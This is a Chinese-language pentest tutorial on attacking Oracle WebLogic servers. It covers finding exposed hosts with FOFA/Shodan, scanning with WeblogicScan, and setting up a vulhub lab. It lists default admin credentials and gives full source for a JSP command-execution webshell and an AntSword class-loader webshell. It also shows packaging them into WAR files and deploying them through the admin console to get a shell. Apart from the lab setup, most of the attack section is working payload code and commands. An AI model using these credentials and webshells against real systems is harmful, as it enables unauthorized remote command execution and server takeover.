文章目录
Weblogic漏洞
- 预备知识
中间件定义:中间件(middleware)是基础软件的一大类,属于可复用软件的范畴。顾名思义,中间件处于操作系统软件与用户的应用软件的中间。
中间件在操作系统、网络和数据库之上,应用软件的下层,总的作用是为处于自己上层的应用软件提供运行与开发的环境,帮助用户灵活、高效地开发和集成复杂的应用软件
weblogic简介
weblogic是美国甲骨文(Oracle)公司开发的一款适用于云环境和传统环境的应用服务中间件,确切来说是一个基于JavaEE框架的中间件,它提供了一个现代轻型开饭平台,用于开发,集成,部署和管理大型分布式web应用,网络应用和数据库应用的java应用服务器。将加吧的动态功能和java entrprise标准的安全性引入大型网络应用的开发,集成,部署和管理之中。
Weblogic特征
- 默认端口:7001
- web界面:Error 404–Not Found
- 控制后台:http://ip:7001/console
Weblogic历史漏洞发现
1.获取资产
shodan, fofa, zoomeye等
fofa : app=“BEA-Weblogic-Server”
2. 批量扫描脚本
- WeblogicScan
https://github.com/rabbitmask/WeblogicScan
下载压缩包解压,文件夹中的weblogicscan.py是需要在终端运行的文件
第一步需要执行的命令(安装依赖包):python -m pip install -r requirements.txt
3. Weblogic漏洞环境搭建
docker pull vulhub/weblogic:10.3.6.0-2017
docker run -dit -p 7001:7001 vulhub/weblogic:10.3.6.0-2017
4. 扫描靶机
python WeblogicScan.py -u 192.168.1.149 -p 7001
工具已经扫描出所有的weblogic的漏洞
使用浏览器访问界面
Weblogic历史漏洞利用
1.weblogic弱口令
账号:weblogic
密码:Oracle@123
Weblogic 默认口令:https://cirt.net/passwords?criteria=weblogic
- system/password
- weblogic/weblogic
- admin/security
- joe/password
- mary/password
- system/security
- wlcsystem/wlcsystem
- wlpisystem/wlpisystem
- cmd.jsp
<%@ page import=“java.io.*” %> <% String cmd =
request.getParameter(“cmd”); String output = “”; if(cmd !=
null) { String s = null; try { Process p =
Runtime.getRuntime().exec(cmd); BufferedReader sI = new
BufferedReader(new InputStreamReader(p.getInputStream()));
while((s = sI.readLine()) != null) { output += s +“\r\n”; } }
catch(IOException e) { e.printStackTrace(); } }
out.println(output);%>
2. 命令打包war包
jar -cvf cmd.war cmd.jsp
3.部署war包
登录后台,选择部署,进入如下见面
上传war包之后,一直下一步就可以完成war包的部署
4. GetShell
完成前面的操作后在浏览器上访问
war包用法
cmd.jsp?cmd=需要执行的命令
- 例如查看系统当前用户
当前上传的脚本war包是简单脚本,无法连接蚁剑去管理
4.1 蚁剑-jsp4ant.jsp
<%!classUextendsClassLoader{U(ClassLoader c){super(c);}publicClassg(byte[] b){returnsuper.defineClass(b,0, b.length);}}publicbyte[]base64Decode(String str)throwsException{try{Class clazz =Class.forName("sun.misc.BASE64Decoder");return(byte[]) clazz.getMethod("decodeBuffer",String.class).invoke(clazz.newInstance(), str);}catch(Exception e){Class clazz =Class.forName("java.util.Base64");Object decoder = clazz.getMethod("getDecoder").invoke(null);return(byte[]) decoder.getClass().getMethod("decode",String.class).invoke(decoder, str);}}%><%String cls = request.getParameter("ant");if(cls !=null){newU(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);}%>
同理生成war包上传部署
- 使用蚁剑连接
版权归原作者 Zst4rs 所有, 如有侵权,请联系我们删除。